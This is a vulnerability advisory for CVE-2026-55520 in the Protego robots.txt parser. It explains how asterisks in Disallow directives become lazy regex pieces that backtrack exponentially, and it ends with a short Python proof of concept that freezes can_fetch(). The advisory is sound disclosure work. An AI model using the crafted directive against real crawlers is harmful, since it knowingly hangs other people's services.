CVE-2026-55520

Problem description

Protego constructs regular expressions to match URLs against robots.txt Allow: and Disallow: directives, see protego._urlpattern._URLPattern._prepare_pattern_for_regex(). Every * in the directive value is translated into a lazy .*? regex piece, thus a specially crafted directive value with many asterisks may produce a regex that freezes the parser due to exponential backtracking.

Impact

Parsing a specially crafted robots.txt with protego.Protego.parse() and then trying to match an URL with protego.Protego.can_fetch() results in the latter call not returning for a period dependent on the length of the URL.

Proof of concept

from protego import Protego

robotstxt = f"""
User-agent: *
Disallow: /{"*1" * 12}*Z
"""
rp = Protego.parse(robotstxt)
url = "/" + "1" * 60
rp.can_fetch(url, "mybot")  # freezes